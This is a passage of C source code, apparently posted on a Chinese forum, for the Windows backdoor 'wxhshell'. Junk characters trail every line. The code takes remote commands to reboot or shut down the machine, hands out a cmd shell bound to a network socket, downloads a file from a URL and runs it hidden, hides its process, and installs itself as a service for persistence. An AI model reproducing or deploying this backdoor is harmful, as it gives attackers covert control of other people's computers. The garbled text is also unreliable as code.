    switch(cmd[0]) { {*r!oD!'  
  GU9p'E  
  // 帮助 .2_xTt   
  case '?': { m(EV C}Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :S7[<SwL  
    break; 57]La^#  
  } 84i0h$ZZo  
  // 安装 & .#dZ}J  
  case 'i': { h?} S|>9  
    if(Install()) 8Bh micU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hd[t&?{=  
    else P"t Dq&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k,8^RI07@  
    break; t]iKU@3  
    } %K7;ePu  
  // 卸载 %qqeL   
  case 'r': { tB4yj_ZF  
    if(Uninstall()) qPJSVo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {ot6ssT=D  
    else =<zlg~i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "(kiMo g-  
    break; E9t8SclV  
    } tL1\q Qg  
  // 显示 wxhshell 所在路径 [Ls%nz|  
  case 'p': { /TIt-c  
    char svExeFile[MAX_PATH]; t("koA=.  
    strcpy(svExeFile,"\n\r"); )7Qp9Fxo  
      strcat(svExeFile,ExeFile); /11CC \  
        send(wsh,svExeFile,strlen(svExeFile),0); q|IU+r:! 3  
    break; (?lT @RY/  
    } Goy[P2m  
  // 重启 +^J;ic  
  case 'b': { 'aEN(Mdz1e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N=~DSsw  
    if(Boot(REBOOT)) P3Ah1X7W"C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v |pHbX  
    else { aSJD'u4w.a  
    closesocket(wsh); kho0@o+'^  
    ExitThread(0); "gDk?w  
    } JE*?O*&|Q  
    break; :<0lCj  
    } wyAh%'V  
  // 关机 p6)6Gcx  
  case 'd': { npbf>n^R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~DB:/VSmu  
    if(Boot(SHUTDOWN)) wAzaxeV=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jIHY[yDT  
    else { *YX:e@Fm.a  
    closesocket(wsh); 9;`hJ!r  
    ExitThread(0); XaoVv2=G~  
    } 8,VEuBZ  
    break; }g|9P SbJ  
    } / T_v8 {D  
  // 获取shell O`N,aYo  
  case 's': { O#>,vf$  
    CmdShell(wsh); :!fY;c?  
    closesocket(wsh); 1]A\@(  
    ExitThread(0); G Uh<AG*+  
    break; wqap~X  
  } S@~ReRew2  
  // 退出 f}ch1u>  
  case 'x': { Nd@/U c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w_LkS/  
    CloseIt(wsh); #G?",,&dM  
    break; #T`1Z"h<  
    } _G/uDP%  
  // 离开 +@7c:CAy(  
  case 'q': { YdB/s1|G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YG*}F|1  
    closesocket(wsh); |S]fs9  
    WSACleanup(); 73{<;z}i  
    exit(1); b.}J'?yLm  
    break; Eq=JmO'gHs  
        } -$@'@U  
  } hQNUA|Q=%  
  } h7m$P^=U  
&Wk:>9]Jrb  
  // 提示信息 @ Yo*h"s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9\kEyb$F=  
} 04}c_XFFE  
  } Y;dqrA>@  
O@:R\MwFOZ  
  return; )]E?~$,  
} rg]z  
{W%XS E  
// shell模块句柄 oL!C(\ERh  
int CmdShell(SOCKET sock) 4Yt'I#*  
{ }?O>.W,/  
STARTUPINFO si; W*n|T{n  
ZeroMemory(&si,sizeof(si)); vAOThj)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wkr31Du\K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vy c  
PROCESS_INFORMATION ProcessInfo; BE0Xg  
char cmdline[]="cmd"; 60D6UW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )]\-Uy$x  
  return 0; mT;   
} zU4*FXt  
^(BE_<~  
// 自身启动模式 YhN:t?  
int StartFromService(void) 3u s^\w#  
{ `dl^)4J  
typedef struct qK%#$JgqA  
{ P$@:T[}v  
  DWORD ExitStatus; ldRq:M5z  
  DWORD PebBaseAddress; 9c5DEq  
  DWORD AffinityMask; Fa{[kJ8z  
  DWORD BasePriority; EYn9l n_]u  
  ULONG UniqueProcessId; v`@N R06  
  ULONG InheritedFromUniqueProcessId; A-M6MW  
}   PROCESS_BASIC_INFORMATION; n S Vr,wU  
4ZYywDwn  
PROCNTQSIP NtQueryInformationProcess; 64^3ve3/a=  
|f$gQI!XW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b/E3Kse?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VmXXj6l&  
-f?,%6(1  
  HANDLE             hProcess; 3S%/>)k  
  PROCESS_BASIC_INFORMATION pbi; TpHzf3.I  
p>+Q6o9O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B@' OUcUR  
  if(NULL == hInst ) return 0; F9r|EU#;  
'S9jMyZrZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !?K#f?x<?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !|mzu1S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }"/>,  
0^F!-b^z  
  if (!NtQueryInformationProcess) return 0; e Dpt1  
H#T&7X_<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WP^wNi ~>  
  if(!hProcess) return 0; v[jg|s&6"  
3wPUP+)c7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >3I|5kZ6  
EK\xc'6M  
  CloseHandle(hProcess); L;6{0b58 $  
$9W,1wg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ke2M&TV  
if(hProcess==NULL) return 0; UunZ/A$]m  
w ,0OO f  
HMODULE hMod; 3k/X;:,.  
char procName[255]; @R`Ao9n9V  
unsigned long cbNeeded; tK 6=F63e  
jFI`CA6P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MaF4lFmS  
CWb*bw0  
  CloseHandle(hProcess); /HdjPxH  
^#4<~zU  
if(strstr(procName,"services")) return 1; // 以服务启动 on1B~?*D  
:edy(vC<  
  return 0; // 注册表启动 \9}DAM_  
} Sh:_YD^(  
 | 1a}p  
// 主模块 ^bLFY9hSC  
int StartWxhshell(LPSTR lpCmdLine) o76{;Bl\O  
{ iUZV-jl2/  
  SOCKET wsl; =i},$"Bf*%  
BOOL val=TRUE; | _nBiHjNn  
  int port=0; TrQUhmS/!  
  struct sockaddr_in door; ~CHVU3  
*De'4r 2  
  if(wscfg.ws_autoins) Install(); BP1<:T'.q`  
&@w0c>Y  
port=atoi(lpCmdLine); L08lkq,  
%Vk77(  
if(port<=0) port=wscfg.ws_port; WM ]eb, 8q  
8KsPAK_  
  WSADATA data; NC sem  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l;B  
`(E$-m-~jH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bzECNi5^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =}Yz[-I  
  door.sin_family = AF_INET; nW oh(a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O-3aU!L  
  door.sin_port = htons(port); :4r*Jju<V  
AP ]`'C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P#[?Kfi  
closesocket(wsl); >.uIp4@(  
return 1; wVc ^l  
} y<c7RK]  
3`Xzp  
  if(listen(wsl,2) == INVALID_SOCKET) { dq0!.gBT2  
closesocket(wsl); /<"ok;Pu7  
return 1; K{ntl-D&y  
} /. >%IcK  
  Wxhshell(wsl); Z,V<&9a;  
  WSACleanup(); d)d0,fi?-  
v[)8 1uY  
return 0; TYCjVxfu$  
Q(x/&]7=V  
} 0g#xQzE  
Y+5aT(6O  
// 以NT服务方式启动 bGxHzzU}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D&qJ@PR  
{ oqzWL~  
DWORD   status = 0; bV+2U  
  DWORD   specificError = 0xfffffff; aj<r=  
e%IbM E]x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jsP+,brO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cM]ZYi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m|v$F,Lv  
  serviceStatus.dwWin32ExitCode     = 0; 8Y:x+v5  
  serviceStatus.dwServiceSpecificExitCode = 0; }T}xVd0  
  serviceStatus.dwCheckPoint       = 0; (O& HCT|  
  serviceStatus.dwWaitHint       = 0; yR"mRy1  
[GcW*v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yq[@Cw  
  if (hServiceStatusHandle==0) return; by\Sq}  
lbC,*U^  
status = GetLastError(); |7${E^u  
  if (status!=NO_ERROR) #aiI]'  
{ X8wtdd]64  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?-tNRIPW@p  
    serviceStatus.dwCheckPoint       = 0; D  ,[yx='  
    serviceStatus.dwWaitHint       = 0; /QQjb4S}  
    serviceStatus.dwWin32ExitCode     = status; R iFUa $  
    serviceStatus.dwServiceSpecificExitCode = specificError; T`9nY!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6h0}ZM  
    return; %pqB/  
  } Zay%QNsb  
$EzWUt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {d.K)8\  
  serviceStatus.dwCheckPoint       = 0; 9!.S9[[N  
  serviceStatus.dwWaitHint       = 0;  ;v/un  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?]o(cz  
} @Gy.p5J8  
&xp]9$  
// 处理NT服务事件,比如:启动、停止 l=x(   
VOID WINAPI NTServiceHandler(DWORD fdwControl) /!qP=ngw9  
{ 3[8p,wx  
switch(fdwControl) }(,{^".[}  
{ h\Q@zR*0a  
case SERVICE_CONTROL_STOP: e3?z^AUXm  
  serviceStatus.dwWin32ExitCode = 0; M27H{} v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u4bVp+  
  serviceStatus.dwCheckPoint   = 0; qh6rMqq  
  serviceStatus.dwWaitHint     = 0; NK'@.=$  
  { Sh?eb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qW'L}x  
  } J~50#vHY  
  return; y|zIu I-p  
case SERVICE_CONTROL_PAUSE: >]o>iOz;]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z] x6np  
  break; !~V^GlY  
case SERVICE_CONTROL_CONTINUE: h4+*ssnYV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d24_,o\_  
  break; ?'tRu !~  
case SERVICE_CONTROL_INTERROGATE: >(.Y%$9"E  
  break; 7 |GSs=  
}; 1N<n)>X4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "h|kf% W  
} \A)Pcc}7  
` U-vXP  
// 标准应用程序主函数 ZX#60o8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |o'r?"  
{ Zxozhmg  
w'E?L`c  
// 获取操作系统版本 2e03m62*  
OsIsNt=GetOsVer(); ,eWLig  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  1'F!C  
EVC]B}  
  // 从命令行安装 M|zTs\1I  
  if(strpbrk(lpCmdLine,"iI")) Install(); ! h92dH  
eTay/i<-  
  // 下载执行文件 7[!dm_  
if(wscfg.ws_downexe) { ~>P(nI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6As%<g=  
  WinExec(wscfg.ws_filenam,SW_HIDE); Dwr 9}Z-]  
} YBR)S_C$_  
Z`U+ a  
if(!OsIsNt) { OiS\tK?|GV  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rjv;[  
HideProc(); 4O/IT1+A  
StartWxhshell(lpCmdLine); oZ^,*  
} ?~(#~3x  
else @|bJMi  
  if(StartFromService()) mx UyD[|  
  // 以服务方式启动 6 jm@`pYbE  
  StartServiceCtrlDispatcher(DispatchTable); 3:xKq4?  
else HFlExa u  
  // 普通方式启动  sFnR;  
  StartWxhshell(lpCmdLine); *N }$~N  
Nh}u]<B  
return 0; V!>j: "  
}
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只看该作者 1 发表于: 2006-10-10
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